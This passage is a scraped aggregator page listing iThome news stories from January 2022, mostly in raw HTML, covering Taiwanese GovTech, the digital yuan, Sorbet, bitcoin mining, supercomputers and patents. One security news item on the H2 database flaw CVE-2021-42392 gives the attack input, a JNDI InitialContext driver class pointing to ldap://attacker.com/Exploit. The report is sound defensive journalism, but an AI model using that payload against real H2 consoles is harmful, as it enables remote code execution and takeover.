iThome

台灣·持續收錄

標籤科技編輯標籤

今日收錄: 19篇
近 24 小時: 25篇
近 7 天: 138篇

媒體資料

刊登媒體: iThome
所屬地區: 台灣
收錄範圍: 台灣媒體 · 繁體中文
來源網站: www.ithome.com.tw
月造訪量: 1,694,5742026/09
Radar 全球: 前 100,000 名
開始收錄: 2026/9/29
最新報導: 2026/11/11
最近更新: 11/11 15:53
流量資料: 2026/10/25 更新

流量與排名比較 →

寫法近 90 天

轉述貼文: 0.4%3 篇
發言者: 公職、政治人物 33.3%網友、民眾 33.3%尚未標記 33.3%
標題用詞: 懸念 0.0%反應 0.1%攻擊 0.0%

看這家的轉述報導與各家比較 →

網站流量來源Similarweb · 2026/09

台灣訪客占 90%，約 1,532,709 次造訪

來源國家（前五）

台灣90%
香港4.4%
中國0.9%
美國0.9%
新加坡0.3%

導流來源

自然搜尋59%
直接造訪24%
其他網站連入10%
社群3.4%
電子郵件1.2%
付費社群0.9%
生成式 AI0.7%
展示廣告0.3%
付費搜尋0.1%

全台排名: 第 492 名
全球排名: 第 35,757 名
類別排名: 第 28 名 · Computers Electronics and Technology/Computers Electronics and Technology
跳出率: 63%
每次造訪: 2.6 頁
平均停留: 2 分 8 秒

整個網域的估算值，比例以造訪次數計，非精確 page views。

媒體關係

近 7 天

已比對 138 篇內文

5
引用其他媒體: 0
被其他媒體引用: 0
同署名跨站: 0
已註明來源: 0
未辨識稿源

主要關係對象4 家

路透社3筆關係
中央社1筆關係
日經中文網1筆關係
聯合新聞網1筆關係

直接文字比對引用對方被對方引用

在媒體關係圖查看 →

媒體關係

比對結果載入中…

報導關鍵字

近 7 天

較早收錄

本頁 60 篇 · 依收錄順序顯示摘要

GovTech月報第2期：立院三讀通過數位發展部組織草案，數發部今年6、7月可望掛牌上路
<div class="field field-name-field-news-column-category field-type-taxonomy-term-reference field-label-hidden"><div class="field-items"><div class="field-item even"><a href="/tags/%E6%96%B0%E8%81%9E">新聞</a></div></div></div><div class="field field-name-body field-type-text-with-summary field-label-hidden"><div class="field-items"><div class="field-item even"> <p><span style="color: rgb(0, 0, 255);">重點新聞(1201~1230)</span></p> <p><strong><span style="color: rgb(255, 255, 255);"><strong><span style="background-color: rgb(51, 153, 255);"> 數位發展部 </span></strong></span> <span style="color: rgb(255, 255, 255);"><strong><span style="background-color: rgb(51, 153, 255);"> 政府組織改造 </span></strong></span> <span style="color: rgb(255, 255, 255);"><strong><span style="background-color: rgb(51, 153, 255);"> 科技部 </span></strong></span></strong></p> <p><strong><span style="font-size:22px;">立院三讀通過數位發展部組織草案，最快2022年6月掛牌</span></strong></p> <p>趕在2021年底，立法院終於三讀通過數位發展部組織草案，由於數位發展部將移轉並整合來自NCC、經濟部、交通部、國發會、行政院資安處的部分業務，涵蓋資訊、電信、傳播、網路、資安五大領域，因此相關機關組織與人力調整，約需半年籌備時間，數位發展部最快在2022年6、7月正式掛牌上路。</p> <p>未來數位發展部相當重要的工作，包括確保國家資通安全、促進我國的數位經濟發展、加速國家數位轉型。未來將設立資通安全署、數位產業署，資通安全署統籌政府整體資安架構、資安業務推動，而數位產業署原先並不在行政院的規畫中，應立委要求設立，將推動數位經濟產業政策規畫。數位發展部還將新設法人單位，國家資通安全研究院，扮演國安資通安全的智庫角色。數位發展部並將管理原有法人包括資策會、電信技術中心、台灣網路資訊中心。</p> <p>立法院也通過科技部組改草案，科技部將在今年改制為國家科學及技術委員會（簡稱國科會），繼續掌管國家科技發展的規畫、預算，由部改為委員會，更著重於跨部會、跨領域協商，以及協調各部會與科技相關的資源。</p> <p> </p> <p><strong><span style="color: rgb(255, 255, 255);"><strong><span style="background-color: rgb(51, 153, 255);">COVID-19 </span></strong></span> <span style="color: rgb(255, 255, 255);"><strong><span style="background-color: rgb(51, 153, 255);"> 歐盟 </span></strong></span> <span style="color: rgb(255, 255, 255);"><strong><span style="background-color: rgb(51, 153, 255);"> 數位證明 </span></strong></span></strong></p> <p><strong><span style="font-size:22px;">歐盟頒布9個月接受期的COVID疫苗數位證明新規則</span></strong></p> <p><strong><span style="font-size:22px;"><img alt="" src="https://s4.itho.me/sites/default/files/images/P051292-798143-1.jpg" style="width: 600px; height: 399px;" /></span></strong></p> <p>為了讓歐盟成員間防疫措施一致性的規畫，歐盟委員會近期頒布歐盟數位COVID證明規則，接受歐盟內旅行9個月（270天）接受期的疫苗接種證明，歐盟表示，數位疫苗接種證明接受期的統一規範，有助於各國持續協調旅行防疫措施，且新的規則能確保種種限制措施是基於科學、客觀條件施行，作為歐盟公民行使自動移動權利的依據。</p> <p>歐盟表示，歐盟現已發出8.9億分的數位證明，歐盟數位COVID證明已成為全球的標準之一，迄今為止，全球已有60個國家地區加入該系統。新規則統一各國間的不同規則，有效期的制定參考了歐洲疾病預防控制中心指導，在第一劑疫苗後六個月內施打加強劑，而數位證明容許額外的三個月寬限期內保持有效。</p> <p>此外，歐盟委員會也通過新的數位證明編碼規則，以區分施打初次疫苗接種發給的證明，以及完成加強劑量後發給的證明。</p> <p> </p> <p><strong><span style="color: rgb(255, 255, 255);"><strong><span style="background-color: rgb(51, 153, 255);">行政院 </span></strong></span> <span style="color: rgb(255, 255, 255);"><strong><span style="background-color: rgb(51, 153, 255);"> 量子科技 </span></strong></span> <span style="color: rgb(255, 255, 255);"><strong><span style="background-color: rgb(51, 153, 255);"> 科技政策 </span></strong></span></strong></p> <p><strong><span style="font-size:22px;">政府組量子國家隊，將投入80億元在5年內打造國產量子電腦</span></strong></p> <p><strong><span style="font-size:22px;"><img alt="" src="https://s4.itho.me/sites/default/files/images/quantum-1(1).jpg" style="width: 600px; height: 337px;" /></span></strong></p> <p>行政院啟動我國量子運算新戰略，由科技部、經濟部、中研院組成量子國家隊，從2022年開始，5年投入80億元，加速臺灣在量子運算技術研究、人才培育，也將在臺南沙崙科學園區成立中研院量子科研基地。</p> <p>科技部指出，臺灣在發展量子科技有兩大優勢，其中之一是量子電腦一部分製程與半導體製程重疊，而臺在半導體製程、封裝、IC設計居領先地位，使臺灣在發展量子科技具有優勢，其次是量子電腦中量子位元與控制的基礎研究，臺灣長期培育數學、物理、電機、資訊及材料等基礎人才，有助於量子技術的研發。</p> <p>根據政府的計畫，未來將發展量子運算軟硬體技術，包括量子電腦硬體技術的半導體、超導體量子位元技術，結合量子科技軟體技術，目標在5年內研發出國產自製可真實運算的量子電腦，同時也要發展出國產的量子通訊網路系統。</p> <p> </p> <p><strong><span style="color: rgb(255, 255, 255);"><strong><span style="background-color: rgb(51, 153, 255);">COVID-19 </span></strong></span> <span style="color: rgb(255, 255, 255);"><strong><span style="background-color: rgb(51, 153, 255);"> 衛福部 </span></strong></span> <span style="color: rgb(255, 255, 255);"><strong><span style="background-color: rgb(51, 153, 255);"> 數位健康證明 </span></strong></span></strong></p> <p><strong><span style="font-size:22px;">衛福部推可介接歐盟的數位健康證明</span></strong></p> <p><strong><span style="font-size:22px;"><img alt="" src="https://s4.itho.me/sites/default/files/images/health.jpg" style="width: 600px; height: 420px;" /></span></strong></p> <p>衛福部發表數位健康證明服務，讓本國民眾或外籍人士，以身分證、護照號碼、健保卡號碼、自然人憑證或是TW FIDO通過身分驗證，下載個人的數位健康證明，該證明採用歐盟的資料格式、符合GDPR最小資料揭露、資料可攜、可被遺忘等個資保護原則。</p> <p>民眾下載數位健康證明後，可以儲存至個人的手機或平板電腦，或是列印為紙本文件，未來出入歐盟地區，可出示健康證明上的QR Code供歐盟國家的檢查人員掃描，就能驗證最新的疫苗施打效期、是否施打合格的劑量。值得注意的是，數位健康證明採離線驗證方式，而非線上驗證，因此不需連接國外當地網路，衛福部並強調可避免曝露隱私的風險。</p> <p> </p> <p><strong><font color="#ffffff"><span style="background-color: rgb(51, 153, 255);">高雄市</span></font> <span style="color: rgb(255, 255, 255);"><strong><span style="background-color: rgb(51, 153, 255);"> 智慧城市 </span></strong></span> <span style="color: rgb(255, 255, 255);"><strong><span style="background-color: rgb(51, 153, 255);"> 5G </span></strong></span></strong></p> <p><strong><span style="font-size:22px;">高雄明年將首次舉辦智慧城市展，擬大秀5G IoT應用成果</span></strong></p> <p>2022年智慧城市展將在臺北、高雄兩地展出，也是高雄首次舉辦智慧城市展，高雄市長陳其邁預告，智慧城市展將具有高雄特色，也是高雄推動智慧城市一年多以來的成果展現。</p> <p>目前高雄市推動的智慧城市應用已有一部分的成果。例如高雄市水利局推動的高雄智慧水利監測密網計畫，針對高雄容易淹水地區，以NB-IoT通訊與感測器建立雲端的水情物聯網，監測區域排水系統、雨水下水道的水位變化，強化防災應變對策。</p> <p>另外，針對高雄輕軌容易因車輛、行人闖入導致事故發生，高雄市捷運局擬以AI輔助解決問題，像是以AI影像分析，為軌道建立電子圍籬，當輕軌列車即將進站時，偵測到人或動物、障礙物闖入警戒範圍，及時廣播驅離，並利用月台的攝影機，結合AI分析乘客上下車人流情形，作為列車班次調整參考。</p> <p>而在政府大力支持下，高雄近年來推動亞灣區5G AIoT創新園區，積極招商促成更多創新應用落地高雄，目前已吸引中華電信、中油、中鋼等大廠進駐，更在2021年底高雄舉辦亞灣創新展會，由進駐業者與合作夥伴展示5G AIoT應用，例如5G數位手術房方案、AR眼鏡的智慧製造應用等等。</p> <p> </p> <p><strong><font color="#ffffff"><span style="background-color: rgb(51, 153, 255);">臺南市</span></font> <span style="color: rgb(255, 255, 255);"><strong><span style="background-color: rgb(51, 153, 255);"> 智慧道路 </span></strong></span> <span style="color: rgb(255, 255, 255);"><strong><span style="background-color: rgb(51, 153, 255);"> 交通 </span></strong></span></strong></p> <p><strong><span style="font-size:22px;">市區道路也要智慧化，臺南展示智慧道路成果</span></strong></p> <p>交通載具朝智慧化發展，道路也要趕上此一趨勢。臺南市政府在交通部補助之下，已在沙侖、南科兩園區打造智慧道路，以實現車輛與道相互溝通為目標，並鼓勵研發智慧駕駛系統的業者到臺南實驗場域進行測試。</p> <p>臺南市政府指出，隨著資通訊技術發展，車與路的整合不再只是理想，車與車（V2V）通訊、車與路通訊（V2I）、路與路(I2I)通訊愈來愈成熟，透過車輛與道路相互溝通，將即時的道路資訊送到車輛，提升行車應變，改善交通安全預警。</p> <p>臺南市建置的智慧道路基礎設施，包括盲點偵測系統、即時號誌介接，為了建立通訊，採用快速穩定光纖網路及無線電通訊設備，讓行駛的智慧車輛能和路側基礎設施溝通傳輸資料，同時將車輛的即時位置、行車畫面、行車數據送到臺南智慧交通中心。臺南市交通局透露，未來擬以開放API，讓智慧路側設施與各種智慧車輛介接。</p> <p> </p> <p><strong><font color="#ffffff"><span style="background-color: rgb(51, 153, 255);">臺北市</span></font> <span style="color: rgb(255, 255, 255);"><strong><span style="background-color: rgb(51, 153, 255);"> 科技執法 </span></strong></span> <span style="color: rgb(255, 255, 255);"><strong><span style="background-color: rgb(51, 153, 255);"> 交通 </span></strong></span></strong></p> <p><strong><span style="font-size:22px;">臺北市擴大交通科技執法，在易發生事故路口靠AI偵測交通違規</span></strong></p> <p><img alt="" src="https://s4.itho.me/sites/default/files/images/%E9%81%95%E8%A6%8F-1.jpg" style="width: 600px; height: 467px;" /></p> <p>臺北市擴大交通的科技執法應用，要讓違規駕駛不再心存僥倖。臺北市警局宣布已在鄭州路與西寧北路口建置「路口多功能交通違規科技執法設備」，2022年1月3日起正式啟用，以取締違規事件。</p> <p>北市的鄭州路與西寧北路口銜接東西向重要幹道，因交通車流量大，違規駕駛容易發生事故，因此北市府在該路口建置偵測設備，以AI辨識車種、行駛位置與時間，自動判斷違規行為與路徑，提升違規辨識率，再由員警審查確認後再舉發。目前科技執法取締的違規事件，包括未依規定轉彎、跨越雙黃線、闖紅燈、佔用機車停等區、車輛未停讓行人等等。</p> <p> </p> <p><strong><font color="#ffffff"><span style="background-color: rgb(51, 153, 255);">消防署</span></font> <span style="color: rgb(255, 255, 255);"><strong><span style="background-color: rgb(51, 153, 255);"> 5G </span></strong></span> <span style="color: rgb(255, 255, 255);"><strong><span style="background-color: rgb(51, 153, 255);"> AI </span></strong></span></strong></p> <p><strong><span style="font-size:22px;">消防署規劃以5G、AI打造智慧搜救平臺</span></strong></p> <p><strong><span style="font-size:22px;"><img alt="" src="https://s4.itho.me/sites/default/files/images/%E9%80%9A%E8%A8%8A%E7%84%A1%E4%BA%BA%E6%A9%9F.jpg" style="width: 600px; height: 405px;" /></span></strong></p> <p>內政部消防署推動消防5G場域計畫，其中之一是建立智慧搜救平臺，結合5G、AR、AI、無人機等技術，強化搜救作業的資訊化管理，平時作為訓練之用，當災害發生時，透過智慧搜救平臺對搜救人員、設備進行管理。</p> <p>行動指揮車進入災區現場，未來能以基地臺在災區架構臨時的5G專網，並以無人機空拍影像回傳即時災情，或用以建立災區的3D模型，讓指揮中心檢視、縮放、評估災區範圍，還能透過搜救人員穿戴的AR頭盔，將現場即時影像回傳至指揮中心，並定位每位搜救人員位置，作為搜救指揮決策參考。</p> <p>無人機除了可以空拍影像、3D建模外，還可以無人機隊在空中建立無線通訊網路，將網路擴大到更大的距離。消防署也計畫導入AI影像辨識技術，以辨識無人機空拍影像、AR頭盔拍攝即時影像或熱顯像，提高搜救作業的效率。</p> <p> </p> <p><strong><font color="#ffffff"><span style="background-color: rgb(51, 153, 255);">美國</span></font> <span style="color: rgb(255, 255, 255);"><strong><span style="background-color: rgb(51, 153, 255);"> 資訊建設 </span></strong></span> <span style="color: rgb(255, 255, 255);"><strong><span style="background-color: rgb(51, 153, 255);"> 交通 </span></strong></span></strong></p> <p><strong><span style="font-size:22px;">提升公路安全，美國將投入2.6億美元助各州推動交通安全計畫及相關資訊系統</span></strong></p> <p>美國聯邦政府投入2.6億美元，用以提升公路行車安全，包括投入1.33億美元支持50個州以數據驅動的交通安全計畫，以及投入1.23億美元鼓勵發展交通安全資訊系統。美國公路每年發生許多事故奪走人命，已被美國政府視為全國性的重要議題，因此聯邦政府準備投入2.6億美元，協助各州強化交通執法、交通安全教育宣導，也將協助各州建置交通安全相關的資訊系統，包括車輛碰撞、預防駕駛分心、行人及自行車安全相關的資料庫。</p> <p> </p> <p>圖片來源／歐盟、衛福部、富鴻網、臺北市政府、科技部</p> <p> </p> <p><span style="color: rgb(255, 255, 255);"><strong><span style="background-color: rgb(51, 153, 255);"> 更多GovTech動態 </span></strong></span></p> <p><strong>1. 衛福部預告電子病歷上雲草案，兩大方向法規細節終於公布</strong></p> <p><strong>2.北捷將測試以AI影像辨識，確保旅客入站遵守防疫規定及車廂安全</strong></p> <p><strong>3.桃園、臺中、高雄三縣市明年測試5G新應用</strong></p> <p>資料來源：iThome整理，2021年12月</p> <p> </p> </div></div></div>
2022/1/7 17:58作者蘇文彬https://www.ithome.com.tw/news/148771
微信開始支援數位人民幣
<div class="field field-name-field-news-column-category field-type-taxonomy-term-reference field-label-hidden"><div class="field-items"><div class="field-item even"><a href="/tags/%E6%96%B0%E8%81%9E">新聞</a></div></div></div><div class="field field-name-body field-type-text-with-summary field-label-hidden"><div class="field-items"><div class="field-item even"> <p>中國人民銀行旗下的數位貨幣研究所，<a href="https://apps.apple.com/cn/app/%E6%95%B0%E5%AD%97%E4%BA%BA%E6%B0%91%E5%B8%81-%E8%AF%95%E7%82%B9%E7%89%88/id1571652872" target="_blank">在本周釋出了支援Android與iOS的數位人民幣程式</a>，顯示出除了多家中國官方銀行，以及去年就開始測試數位人民幣的支付寶之外，騰訊旗下的微信也將加入支援數位人民幣的行列。</p> <p>此一數位人民幣程式仍為測試版，提供民眾數位人民幣個人錢包的開通與管理、數位人民幣的兌換與流通服務，目前仍僅供測試區域的民眾註冊。</p> <p>螞蟻集團旗下的支付寶與騰訊的微信支付是中國前二大支付工具，而支付寶在去年就參與了數位人民幣的測試，微信支付的加入將有助於推動數位人民幣的普及，中國境內兩大支付工具便觸及當地逾10億用戶。</p> <p>當微信用戶在數位人民幣程式上完成身分認證後，就能在微信內建的微信支付中，選擇收取數位人民幣或是以數位人民幣支付。</p> <p><a href="https://www.ithome.com.tw/news/145739" target="_blank">根據人民銀行去年上半年的統計</a>，中國已有十多個城市、132萬個場景成為數位人民幣的測試區域，超過1,000萬名用戶參與數位人民幣的測試，所交易的金額達到345億元人民幣，也將在今年2月於北京舉行的冬奧運動會，開放國際人士參與數位人民幣的測試。</p> </div></div></div>
2022/1/7 16:52作者陳曉莉https://www.ithome.com.tw/news/148774
Ruby類型檢查工具Sorbet於VS Code商店上架
<div class="field field-name-field-news-column-category field-type-taxonomy-term-reference field-label-hidden"><div class="field-items"><div class="field-item even"><a href="/tags/%E6%96%B0%E8%81%9E">新聞</a></div></div></div><div class="field field-name-body field-type-text-with-summary field-label-hidden"><div class="field-items"><div class="field-item even"> <p>線上支付服務Stripe發布適用於<a href="https://sorbet.org/blog/2022/01/06/open-sourcing-sorbet-vscode">VS Code的擴充套件Sorbet</a>，Sorbet可透過語言伺服器協定，提供Ruby開發環境編輯器功能。在這個開源的版本中，開發者於VS Code中使用Sorbet時，可以簡單地使用語言伺服器協定功能，簡化Sorbet使用上的麻煩。</p> <p>由於Stripe有一大部分的程式，都以Ruby撰寫而成，因此致力開發各種Ruby工具，並且也持續將這些成果貢獻給社群。該公司在2019年的時候，開源了Ruby類型檢查工具Sorbet，這個類型檢查工具能夠檢測程式碼中存在的類型不一致，所產生的安全性風險。</p> <p>開發者在撰寫程式碼的時候，有時候會不小心寫出不連貫的程式碼，像是在字串變數使用Map方法，而這會使程式出現錯誤。在動態類型程式語言中，這類錯誤必須要等到執行期間，才會引發問題，而使用類型檢查工具則能夠分析程式碼，更早地發現錯誤。</p> <p>Stripe提到，因為Ruby鬆散的語法和猴子修補（Monkey Patch）的特性，能夠讓開發者很快地拼湊出功能強大的應用程式，但是程式碼容易出現疑義，Sorbet能夠降低程式碼混亂的問題，增加Ruby程式碼的穩定性和清晰度。</p> <p>Sorbet為多執行緒設計，能夠利用CPU核心線性擴展，在數秒內檢查完程式碼中的類型。Sorbet能夠讓開發者的Ruby開發環境，擁有類似IDE的功能，包括自動完成、編輯器內文件和跳轉到定義等，而這項功能是利用語言伺服器協定來實作，能夠與開發者熟悉的編譯器搭配使用。</p> <p>而現在Stripe發布適用於VS Code的Sorbet擴充套件，便能夠讓VS Code使用者，更方便地配置，並且開始使用Sorbet。過去Sorbet透過公開—lsp旗標，供開發者以語言伺服器協定來啟動Sorbet，回應各種語言伺服器協定請求，像是跳轉到定義、查詢所有參照，以及自動完成等功能。</p> <p>而現在有了VS Code的Sorbet擴充套件，降低了開發者在VS Code配置和使用語言伺服器協定模式的門檻。這次Stripe的發布，包括VS Code商店中的預建置擴充套件，以及GitHub上的Sorbet儲存庫，同時官方也提供完整的Sorbet安裝和使用指南。</p> </div></div></div>
2022/1/7 16:59作者李建興https://www.ithome.com.tw/news/148773
哈薩克的網路斷線，衝擊全球15%的比特幣挖礦活動
<div class="field field-name-field-news-column-category field-type-taxonomy-term-reference field-label-hidden"><div class="field-items"><div class="field-item even"><a href="/tags/%E6%96%B0%E8%81%9E">新聞</a></div></div></div><div class="field field-name-body field-type-text-with-summary field-label-hidden"><div class="field-items"><div class="field-item even"> <p>位居中亞、身為中國鄰居的哈薩克，為了鎮壓境內的暴動，在周三（1/5）宣布進入緊急狀態，並切斷全國網路，造成全球比特幣算力下滑15%。</p> <p>哈薩克（Kazakh）為中亞最大的經濟體，還有豐富的天然資源，包括石油、天然氣與煤礦，<a href="https://www.ithome.com.tw/news/145150" target="_blank">在中國政府於去年6月以斷電的強硬手段</a>驅逐境內的比特幣礦場之後，中國礦工便就近轉移到以煤礦發電的哈薩克。</p> <p>哈薩克原本就占據全球比特幣算力的12%左右，但自去年6月開始接受中國礦工以來，<a href="https://ccaf.io/cbeci/mining_map" target="_blank">所占算力已達全球的21.9%</a>，僅次於美國的42.7%。</p> <p>然而，最近哈薩克的燃料大漲，促成當地民眾的抗議行動，再佐以民眾對哈薩克政府長期的不滿，更爆發了嚴重的衝突，在哈薩克政府請求俄羅斯派兵援助的當天，也要求電信業者中斷境內的網路。</p> <p>網路中斷不僅阻止了民眾的通訊，亦使得哈薩克境內的礦工無以為繼，<a href="https://www.cnbc.com/2022/01/06/kazakhstan-bitcoin-mining-shuts-down-amid-fatal-protests.html" target="_blank">數位資產融資業者Foundry副總裁Kevin Zhang向《CNBC》透露</a>，該國政府的行為讓全球比特幣挖礦算力瞬間減少15%。</p> <p>儘管該國的網路已恢復正常，但哈薩克並不鼓勵礦工於該國境內挖礦，已計畫於今年向這些礦場加徵稅賦，使得外界預期位於該國境內的礦工遲早會遷移至其它據點。</p> </div></div></div>
2022/1/7 15:36作者陳曉莉https://www.ithome.com.tw/news/148768
H2資料庫發現類似Log4Shell的漏洞
<div class="field field-name-field-news-column-category field-type-taxonomy-term-reference field-label-hidden"><div class="field-items"><div class="field-item even"><a href="/tags/%E6%96%B0%E8%81%9E">新聞</a></div></div></div><div class="field field-name-body field-type-text-with-summary field-label-hidden"><div class="field-items"><div class="field-item even"> <p>去年底爆發的Apache Log4j軟體漏洞，讓全球資安及伺服器管理員至今仍忙得不可開交，<a href="https://jfrog.com/blog/the-jndi-strikes-back-unauthenticated-rce-in-h2-database-console/" target="_blank">安全廠商JFrog又發現另一個常用軟體H2資料庫</a>，也有類似Log4Shell的遠端程式碼執行（RCE）漏洞，呼籲用戶立即升級到最新的2.0.206版本。</p> <p>這家安全廠商去年12月在H2資料庫控制臺（console）發現到的漏洞（編號CVE-2021-42392），和Log4Shell（JNDI remote class loading）根本原因相同。使未經授權的攻擊者可傳送經改造的參數、觸發目標伺服器的漏洞，而在受害機器上遠端執行程式碼。CVE-2021-42392的風險值尚未給定，研究人員解釋，是因為最新漏洞被開採風險尚難確認。</p> <p>H2是開源Java SQL資料庫，以其輕巧、執行於記憶體內，不需資料儲存在磁碟內而受許多開發人員歡迎，也廣泛用於多種專案中，像是Web平臺專案Spring Boot或是IoT專案ThingWorks。com.h2database:h2並以將700項成品（artifact）相依，而名列Maven套件庫中前5大套件之林。</p> <p>CVE-2021-42392漏洞出在H2資料庫框架裏多條程式碼路徑，在未經過濾下將攻擊者控制、變造的URL，傳送到控制臺上的javax.naming.Context.lookup函式，允許載入遠端程式，即Java程式碼注入或RCE。</p> <p>研究人員進一步解釋，org.h2.util.JdbcUtils.getConnection方法可加入驅動程式類別(driver class)及資料庫URL。如果驅動程式類別可被指派為javax.naming.Context類，則攻擊者可建立物件實例（inisantiate）及呼叫查詢方法。此時若提供的驅動程式類別是javax.naming.InitialContext及URL: ldap://attacker.com/Exploit，則可導致RCE、甚至接管系統。</p> <p>不過它和Log4Shell風險還是一段差距。研究人員說明，首先，處理惡意呼叫的目標機器必須是跑H2控制臺（console）的伺服器。許多廠商和企業可能有H2資料庫，但不見得有H2控制臺。這就縮減了潛在受害者的廣度。另外，香草（vanilla）版H2資料庫中，H2控制臺預設只聽取本地主機連線，不會受遠端攻擊，但是它也可變更為聽取遠端連線。</p> <p>研究人員指出，如果本地區域網路（LAN）、甚至廣域網路（WAN）上跑H2控制臺軟體的伺服器有這漏洞的話，後果相當嚴重。<a href="http://www.h2database.com/html/download.html" target="_blank">研究人員也呼籲用戶立即升級到已解決漏洞的最新2.0.206版本</a>，原因在於有其他攻擊管道，同時遭開採風險尚難確認。</p> <p>在Log4Shell漏洞方面，Log4j修補版本公布一個月後，駭客攻擊活動仍然猛烈。<a href="https://www.ithome.com.tw/news/148739" target="_blank">微軟本周指出</a>，12月幾個星期間試圖開採漏洞的活動仍然頻繁，他們觀察到攻擊者涵括中國、伊朗、北韓、土耳其及俄羅斯等國家支持的駭客組織，及以獲利為目的犯罪組織。美國聯邦交易委員會（FTC）警告，若因未修補漏洞而致客戶個資外洩或財務損失，可能遭FTC提告。</p> </div></div></div>
2022/1/7 16:13作者林妍溱https://www.ithome.com.tw/news/148769
歐盟計畫投入1.5億歐元打造超級電腦，可望成為全球第2快
<div class="field field-name-field-news-column-category field-type-taxonomy-term-reference field-label-hidden"><div class="field-items"><div class="field-item even"><a href="/tags/%E6%96%B0%E8%81%9E">新聞</a></div></div></div><div class="field field-name-body field-type-text-with-summary field-label-hidden"><div class="field-items"><div class="field-item even"> <p>為免IT運算發展落後美國及亞洲，歐洲近日計畫投入1.5億歐元，以打造一座將近Exascale等級的超級電腦。</p> <p>由歐盟、歐洲會員國及民間企業合組、以推進歐洲超級電腦生態體系的非營利組織：歐洲高效能運算聯合協會(European High Performance Computing Joint Undertaking，簡稱<a href="https://eurohpc-ju.europa.eu/press-releases/new-call-acquire-world-class-supercomputer-spain" target="_blank">EuroHPC JU)去年12月公布一份招標文件</a>，將採購「前Exascale」(pre-exascale)的高階超級電腦。所謂前Exascale是指運算速度超過100 Petaflops、但小於1 Exaflop。</p> <p>EuroHPC JU指出這座預定名為MareNostrum5的超級電腦，旨在強化醫藥研發、疫苗開發、病毒擴散模擬及人工智慧與大數據處理應用，以推升歐洲醫療研究。此外這座新超級電腦也將支援傳統HPC應用，像是氣候研究、工程、材料科學及地球科學等領域研究。</p> <p>根據這份文件，MareNostrum5浮點運算速度將可達至少205 petaflops，或每秒2.05億次運算。EuroHPC JU表示MareNorstrum5將推進歐洲Exascale等級運算能力，此外最新超級電腦將全部採用潔淨能源，並且使用熱源再利用技術。</p> <p><a href="https://www.top500.org/lists/top500/2021/11/highs/" target="_blank">打造完成後MareNostrum5，可望擠下2021年11月公布的Top500中第2、3名</a>，分別是隷屬於美國能源部的2座超級電腦Summit及Sierra，僅次於現今世界第一的日本理研電腦科學中心的富士通超級電腦Fugaku。</p> <p>目前全球前10大超級電腦中，各有一座位於德國及義大利，分占8、9名。</p> <p>打造MareNostrum5估計花費為1.5億歐元。其中一半由EuroHPC JU出資，另一半則由三家會員國，包括西班牙、葡萄牙及土耳其負擔。這座超級電腦預定將座落並代管於西班牙巴塞隆納超級運算中心。</p> <p>在此之前EuroHPC JU已經採購7座「前exascale」等級的超級電腦，分別位於斯洛維尼亞、波蘭、保加利亞、捷克、盧森堡，其中2座將可協助芬蘭及義大利的petascale等級超級電腦。</p> </div></div></div>
2022/1/7 14:05作者林妍溱https://www.ithome.com.tw/news/148761
Google被判侵犯Sonos的聲音專利
<div class="field field-name-field-news-column-category field-type-taxonomy-term-reference field-label-hidden"><div class="field-items"><div class="field-item even"><a href="/tags/%E6%96%B0%E8%81%9E">新聞</a></div></div></div><div class="field field-name-body field-type-text-with-summary field-label-hidden"><div class="field-items"><div class="field-item even"> <p><a href="https://www.usitc.gov/system/files/secretary/fed_reg_notices/337/337_1191_notice01062022sgl.pdf" target="_blank">美國國際貿易委員會（International Trade Commission, ITC）周四（1/6）裁決</a>，Google侵犯了美國音響設備業者Sonos的5項聲音專利，將禁止Google進口及銷售侵犯專利的相關產品。</p> <p>ITC是自2020年2月開始調查此案，去年8月初步判決Google侵犯Sonos專利，本周祭出的則是最終判決，除了要求Google不得再侵犯Sonos專利之外，也將禁止Google進口及於美國銷售侵權產品，預計於60天後生效。</p> <p><a href="https://www.androidpolice.com/google-pixel-chromecast-and-smart-speakers-may-be-banned-from-us-sale-following-sonos-lawsuit-loss/?scrolla=5eb6d68b7fedc32c19ef33b4" target="_blank">根據《Android Police》所取得的Sonos聲明</a>，Google所侵犯的專利涉及家中音響系統的設定、多個喇叭之間的同步、不同喇叭的音量控制，以及喇叭的立體聲配對等。</p> <p>判決書中並未列出被封鎖的明確產品名稱，僅說它涉及特定的聲音播放器、聲音控制器與元件，而媒體則報導這可能涉及Google Nest智慧家庭產品、Pixel手機、Chromebook與Chromecast。</p> <p>在得知ITC的判決之後，<a href="https://www.googlenestcommunity.com/t5/Blog/Upcoming-Speaker-Group-changes/ba-p/77811" target="_blank">Google Nest團隊貼出了公告</a>，指出使用者設定裝置的方式與喇叭群組的功能將有所更動，包括無法再一次調整所有喇叭的音樂，涉及第三方品牌的喇叭群組功能將受限，並將有少數使用者被迫要透過Device Utility程式來完成產品的安裝與更新。</p> <p>而這只是Sonos與Google之間的其中一項訴訟案，Sonos也分別向洛杉磯及舊金山法院控告Google侵權，並仍在審理當中。</p> <p>事實上，Sonos似乎已猜到了Google對此一判決結果的反應，指出Google很可能會透過弱化或移除特定的產品功能來繞過ITC的要求，等於是犧牲了消費者的使用經驗，即便如此，Google依然侵犯Sonos的多項專利，奉勸Google最好還是付費使用專利才是上策。</p> </div></div></div>
2022/1/7 14:22作者陳曉莉https://www.ithome.com.tw/news/148762
隱私瀏覽器Brave宣布每月用戶超過5000萬
<div class="field field-name-field-news-column-category field-type-taxonomy-term-reference field-label-hidden"><div class="field-items"><div class="field-item even"><a href="/tags/%E6%96%B0%E8%81%9E">新聞</a></div></div></div><div class="field field-name-body field-type-text-with-summary field-label-hidden"><div class="field-items"><div class="field-item even"> <p><a href="https://brave.com/2021-recap/" target="_blank">強調保護用戶隱私的Brave瀏覽器本周宣布</a>，去年底每月用戶已經超過5,000萬人，比前一年成長2倍有餘。</p> <p>該公司指出，Brave推出以來連續第5年成長。截至2021年12月31日，Brave月經常平均用戶數超過5,020萬，較2020年的2,410萬成長220%。同時期Brave每日平均用戶數超過1,550萬。</p> <p>Brave也引用市調業者AppFigures的調查，強調其手機版下載次數在2020到2021年間來到2000萬次，在所有瀏覽器間排名第3位，成長率則是所有瀏覽器之冠。<a href="https://www.digitalinformationworld.com/2021/11/chrome-opera-brave-data-figures-reveal.html" target="_blank">根據AppFigures的數據</a>，同時期下載次數前2名分別是Google Chrome的6,000萬及Opera的2,500萬次。</p> <p>Brave公司共同創辦人及執行長Brendan Eich指出，這證明了使用者尋求監控經濟替代方案已帶動的全球運動。</p> <p>Brave從隱私瀏覽器出發，推出廣告合作、<a href="https://www.ithome.com.tw/news/123994" target="_blank">用戶看廣告賺BAT幣（Brave Rewards）</a>等營收模式，<a href="https://www.ithome.com.tw/news/145187" 